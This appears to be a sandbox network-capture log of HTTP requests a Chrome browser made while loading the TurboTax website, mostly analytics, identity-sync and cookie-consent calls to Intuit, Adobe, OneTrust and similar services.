Source: global traffic	HTTP traffic detected: GET /gdpr-util/2.9.0/gdprUtilBundle.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://turbotax.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /analytics/202309142221/track-event-lib-init.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gdpr-util/2.9.0/gdprUtilBundle.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy-seal/seal?rid=7fc012b5-d53b-42d8-b980-c4f9091a97e1 HTTP/1.1Host: hostedseal.trustarc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://turbotax.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy-seal/seal?rid=7fc012b5-d53b-42d8-b980-c4f9091a97e1 HTTP/1.1Host: hostedseal.trustarc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@cloud-monitoring/1.21.1/o11y-rum-web.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://turbotax.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /analytics/202309142221/track-event-lib.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://turbotax.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /analytics/202309142221/track-event-lib-performance.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://turbotax.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /analytics/202309142221/visitorapi.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://turbotax.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@cloud-monitoring/1.21.1/o11y-rum-web.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /adobealloy/alloy-2.17.0.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://turbotax.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /analytics/202309142221/track-event-lib-performance.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /analytics/202309142221/track-event-lib.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=5.3.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_verify=1&d_orgid=969430F0543F253D0A4C98C6%40AdobeOrg&d_nsid=0&ts=1723223544960 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: /Origin: https://turbotax.intuit.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://turbotax.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /analytics/202309142221/visitorapi.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /adobealloy/alloy-2.17.0.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cookieconsentpub/v1/geo/location HTTP/1.1Host: geolocation.onetrust.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"accept: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://turbotax.intuit.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://turbotax.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/projects/kwz2sq4dVhh2vdBhbGRtVmd9PCyfK8FN/settings HTTP/1.1Host: segment.intuitcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://turbotax.intuit.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://turbotax.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/sync HTTP/1.1Host: consent.intuit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ivid=49283062-d309-414a-8948-62720df8cfad; interests_l2=""; priorityCode=3468337910; AKES_GEO=US~NJ; _abck=4F2FA7CC61A129ADEFBBDAAD182D3879~-1~YAAQIShDF0zcACKRAQAAiXQgOAynvBOptWzwN7Wn4mu+nAPpoNEJutvQbxGvV1Q5xHn+0l1a/ecTyNCShtFkuAisxOjEun16gdOWijiQf/SA7MFBujldy2ubl0SFg/ITMHf3o7ziQ7tlLl9FHtNar1QSoavHBxK7NJtQBVy84kPLV+pJH9DKhGE8R+gB8AkX2+W9o1QY5stlHFCW2Uhgn77odYaH2MPx0sYrVv6mnY7aeobPfW6iAvWaakCyZAxEVbCbflVSHtRc1Fqn+HF+GryhpuX1aK2vtN18RwtSjDfkQfUoGiJUQkG4xv6PAOx5OWm7yNB3Rd/EB8aNmtjok9XvQ3wKGwzB5xcbiCPMXvNublNJrh1nMAe4eIk=~-1~-1~-1; bm_sz=5D11FB93F6C0E749F560E18E0910CD49~YAAQIShDF03cACKRAQAAiXQgOBhUUP6I20WZeEqlF1daTuzdVZvXF5OCLF+4pjt1PcBKf/WUgAJtJst++TVpPU4Bb+FpKEntag2O7KxGJz1IMLcP1BE+leDneEVo59D1A6XAKZRSb1neTl/fDxd2COK7bfcsj775qtFN+7vStw/kxT4ZtsguB2AYKRIjJhm83WH4JPnfi/Ya88PF1+39CamRo2IlNPsq8cOBtXI2KV0Ha2siCWxKAFazR7IlF2/foQe48dNYu/gDjUfEmysI2Jm2cNjAC5fk6TbQmhXWc8hEgD8N2B8jRIUbra+3O4vJF9Usg3/RAlm9hdbFm57ooo+bqDaQvA0MOW/n3tR8KRaqBMkfMJ+gnYxCOPGNd/z8AheI~3748918~3491140; ccpa=1\|1; AMCV_969430F0543F253D0A4C98C6%40AdobeOrg=-2121179033%7CMCIDTS%7C19945%7CvVersion%7C5.3.0
Source: global traffic	HTTP traffic detected: GET /cookieconsentpub/v1/geo/location HTTP/1.1Host: geolocation.onetrust.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id/rd?d_visid_ver=5.3.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_verify=1&d_orgid=969430F0543F253D0A4C98C6%40AdobeOrg&d_nsid=0&ts=1723223544960 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: /Origin: https://turbotax.intuit.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://turbotax.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=68741808745937144671134032552188727959
Source: global traffic	HTTP traffic detected: GET /api/sync HTTP/1.1Host: consent.intuit.tsheets.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ccpa=1\|1
Source: global traffic	HTTP traffic detected: GET /api/sync HTTP/1.1Host: consent.intuit.quickbooksconnect.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ccpa=1\|1
Source: global traffic	HTTP traffic detected: GET /api/sync HTTP/1.1Host: consent.mailchimp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ccpa=1\|1
Source: global traffic	HTTP traffic detected: GET /api/sync HTTP/1.1Host: consent.www.firmofthefuture.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ccpa=1\|1
Source: global traffic	HTTP traffic detected: GET /api/sync HTTP/1.1Host: consent.intuit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ivid=49283062-d309-414a-8948-62720df8cfad; interests_l2=""; priorityCode=3468337910; AKES_GEO=US~NJ; _abck=4F2FA7CC61A129ADEFBBDAAD182D3879~-1~YAAQIShDF0zcACKRAQAAiXQgOAynvBOptWzwN7Wn4mu+nAPpoNEJutvQbxGvV1Q5xHn+0l1a/ecTyNCShtFkuAisxOjEun16gdOWijiQf/SA7MFBujldy2ubl0SFg/ITMHf3o7ziQ7tlLl9FHtNar1QSoavHBxK7NJtQBVy84kPLV+pJH9DKhGE8R+gB8AkX2+W9o1QY5stlHFCW2Uhgn77odYaH2MPx0sYrVv6mnY7aeobPfW6iAvWaakCyZAxEVbCbflVSHtRc1Fqn+HF+GryhpuX1aK2vtN18RwtSjDfkQfUoGiJUQkG4xv6PAOx5OWm7yNB3Rd/EB8aNmtjok9XvQ3wKGwzB5xcbiCPMXvNublNJrh1nMAe4eIk=~-1~-1~-1; bm_sz=5D11FB93F6C0E749F560E18E0910CD49~YAAQIShDF03cACKRAQAAiXQgOBhUUP6I20WZeEqlF1daTuzdVZvXF5OCLF+4pjt1PcBKf/WUgAJtJst++TVpPU4Bb+FpKEntag2O7KxGJz1IMLcP1BE+leDneEVo59D1A6XAKZRSb1neTl/fDxd2COK7bfcsj775qtFN+7vStw/kxT4ZtsguB2AYKRIjJhm83WH4JPnfi/Ya88PF1+39CamRo2IlNPsq8cOBtXI2KV0Ha2siCWxKAFazR7IlF2/foQe48dNYu/gDjUfEmysI2Jm2cNjAC5fk6TbQmhXWc8hEgD8N2B8jRIUbra+3O4vJF9Usg3/RAlm9hdbFm57ooo+bqDaQvA0MOW/n3tR8KRaqBMkfMJ+gnYxCOPGNd/z8AheI~3748918~3491140; ccpa=1\|1; AMCV_969430F0543F253D0A4C98C6%40AdobeOrg=-2121179033%7CMCIDTS%7C19945%7CvVersion%7C5.3.0; cpra=1\|1
Source: global traffic	HTTP traffic detected: GET /api/sync HTTP/1.1Host: consent.intuit.tsheets.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ccpa=1\|1; cpra=1\|1
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=5.3.0&d_fieldgroup=A&mcorgid=969430F0543F253D0A4C98C6%40AdobeOrg&mid=68569137705076607901148907403368398402&ts=1723223546799 HTTP/1.1Host: sci.intuit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: /Origin: https://turbotax.intuit.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://turbotax.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ivid=49283062-d309-414a-8948-62720df8cfad; interests_l2=""; priorityCode=3468337910; AKES_GEO=US~NJ; _abck=4F2FA7CC61A129ADEFBBDAAD182D3879~-1~YAAQIShDF0zcACKRAQAAiXQgOAynvBOptWzwN7Wn4mu+nAPpoNEJutvQbxGvV1Q5xHn+0l1a/ecTyNCShtFkuAisxOjEun16gdOWijiQf/SA7MFBujldy2ubl0SFg/ITMHf3o7ziQ7tlLl9FHtNar1QSoavHBxK7NJtQBVy84kPLV+pJH9DKhGE8R+gB8AkX2+W9o1QY5stlHFCW2Uhgn77odYaH2MPx0sYrVv6mnY7aeobPfW6iAvWaakCyZAxEVbCbflVSHtRc1Fqn+HF+GryhpuX1aK2vtN18RwtSjDfkQfUoGiJUQkG4xv6PAOx5OWm7yNB3Rd/EB8aNmtjok9XvQ3wKGwzB5xcbiCPMXvNublNJrh1nMAe4eIk=~-1~-1~-1; bm_sz=5D11FB93F6C0E749F560E18E0910CD49~YAAQIShDF03cACKRAQAAiXQgOBhUUP6I20WZeEqlF1daTuzdVZvXF5OCLF+4pjt1PcBKf/WUgAJtJst++TVpPU4Bb+FpKEntag2O7KxGJz1IMLcP1BE+leDneEVo59D1A6XAKZRSb1neTl/fDxd2COK7bfcsj775qtFN+7vStw/kxT4ZtsguB2AYKRIjJhm83WH4JPnfi/Ya88PF1+39CamRo2IlNPsq8cOBtXI2KV0Ha2siCWxKAFazR7IlF2/foQe48dNYu/gDjUfEmysI2Jm2cNjAC5fk6TbQmhXWc8hEgD8N2B8jRIUbra+3O4vJF9Usg3/RAlm9hdbFm57ooo+bqDaQvA0MOW/n3tR8KRaqBMkfMJ+gnYxCOPGNd/z8AheI~3748918~3491140; ccpa=1\|1; cpra=1\|1; AMCVS_969430F0543F253D0A4C98C6%40AdobeOrg=1; AMCV_969430F0543F253D0A4C98C6%40AdobeOrg=-2121179033%7CMCIDTS%7C19945%7CMCMID%7C68569137705076607901148907403368398402%7CMCAAMLH-1723828346%7C6%7CMCAAMB-1723828346%7CRKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y%7CMCOPTOUT-1723230746s%7CNONE%7CvVersion%7C5.3.0
Source: global traffic	HTTP traffic detected: GET /dest5.html?d_nsid=0 HTTP/1.1Host: turbotax.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://turbotax.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=68741808745937144671134032552188727959
Source: global traffic	HTTP traffic detected: GET /id/rd?d_visid_ver=5.3.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_verify=1&d_orgid=969430F0543F253D0A4C98C6%40AdobeOrg&d_nsid=0&ts=1723223544960 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=68741808745937144671134032552188727959
Source: global traffic	HTTP traffic detected: GET /v1/projects/kwz2sq4dVhh2vdBhbGRtVmd9PCyfK8FN/settings HTTP/1.1Host: segment.intuitcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/sync HTTP/1.1Host: consent.www.firmofthefuture.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ccpa=1\|1; cpra=1\|1
Source: global traffic	HTTP traffic detected: GET /api/sync HTTP/1.1Host: consent.intuit.quickbooksconnect.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ccpa=1\|1; cpra=1\|1
Source: global traffic	HTTP traffic detected: GET /api/sync HTTP/1.1Host: consent.mailchimp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ccpa=1\|1; cpra=1\|1
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=5.3.0&d_fieldgroup=A&mcorgid=969430F0543F253D0A4C98C6%40AdobeOrg&mid=68569137705076607901148907403368398402&ts=1723223546799 HTTP/1.1Host: sci.intuit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ivid=49283062-d309-414a-8948-62720df8cfad; interests_l2=""; priorityCode=3468337910; AKES_GEO=US~NJ; _abck=4F2FA7CC61A129ADEFBBDAAD182D3879~-1~YAAQIShDF0zcACKRAQAAiXQgOAynvBOptWzwN7Wn4mu+nAPpoNEJutvQbxGvV1Q5xHn+0l1a/ecTyNCShtFkuAisxOjEun16gdOWijiQf/SA7MFBujldy2ubl0SFg/ITMHf3o7ziQ7tlLl9FHtNar1QSoavHBxK7NJtQBVy84kPLV+pJH9DKhGE8R+gB8AkX2+W9o1QY5stlHFCW2Uhgn77odYaH2MPx0sYrVv6mnY7aeobPfW6iAvWaakCyZAxEVbCbflVSHtRc1Fqn+HF+GryhpuX1aK2vtN18RwtSjDfkQfUoGiJUQkG4xv6PAOx5OWm7yNB3Rd/EB8aNmtjok9XvQ3wKGwzB5xcbiCPMXvNublNJrh1nMAe4eIk=~-1~-1~-1; bm_sz=5D11FB93F6C0E749F560E18E0910CD49~YAAQIShDF03cACKRAQAAiXQgOBhUUP6I20WZeEqlF1daTuzdVZvXF5OCLF+4pjt1PcBKf/WUgAJtJst++TVpPU4Bb+FpKEntag2O7KxGJz1IMLcP1BE+leDneEVo59D1A6XAKZRSb1neTl/fDxd2COK7bfcsj775qtFN+7vStw/kxT4ZtsguB2AYKRIjJhm83WH4JPnfi/Ya88PF1+39CamRo2IlNPsq8cOBtXI2KV0Ha2siCWxKAFazR7IlF2/foQe48dNYu/gDjUfEmysI2Jm2cNjAC5fk6TbQmhXWc8hEgD8N2B8jRIUbra+3O4vJF9Usg3/RAlm9hdbFm57ooo+bqDaQvA0MOW/n3tR8KRaqBMkfMJ+gnYxCOPGNd/z8AheI~3748918~3491140; ccpa=1\|1; cpra=1\|1; AMCVS_969430F0543F253D0A4C98C6%40AdobeOrg=1; s_ecid=MCMID%7C68569137705076607901148907403368398402; AMCV_969430F0543F253D0A4C98C6%40AdobeOrg=-2121179033%7CMCIDTS%7C19945%7CMCMID%7C68569137705076607901148907403368398402%7CMCAAMLH-1723828346%7C6%7CMCAAMB-1723828346%7CRKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y%7CMCOPTOUT-1723230748s%7CNONE%7CMCAID%7CNONE%7CvVersion%7C5.3.0
Source: global traffic	HTTP traffic detected: GET /365868.gif?partner_uid=68741808745937144671134032552188727959 HTTP/1.1Host: idsync.rlcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://turbotax.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
